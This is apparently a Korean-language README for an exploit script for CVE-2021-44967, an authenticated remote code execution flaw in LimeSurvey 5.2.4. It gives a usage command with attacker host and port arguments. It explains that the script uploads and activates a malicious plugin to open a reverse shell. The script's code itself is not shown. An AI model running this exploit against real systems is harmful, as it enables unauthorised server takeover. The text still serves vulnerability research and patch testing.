CVE-2021-44967 - 인증된(권한 있는) RCE

LimeSurvey 버전 5.2.4의 플러그인 업로드 및 설치를 통한 인증된(권한 있는) 원격 명령 실행으로, 원격 사용자가 임의의 PHP 코드 파일을 업로드할 수 있습니다.

사용법

python3 exploit.py --url <http://example.com> --user <userName> --password <userPassword> --lhost <localHost> --lport <localPort>

슈퍼관리자 사용자는 LimeSurvey 관리 패널을 통해 플러그인 모듈을 로드할 수 있습니다. 스크립트는 로컬에서 파일을 생성하고 압축한 다음 업로드합니다. 그 후 모듈을 설치, 활성화 및 실행하여 리버스 셸을 실행합니다.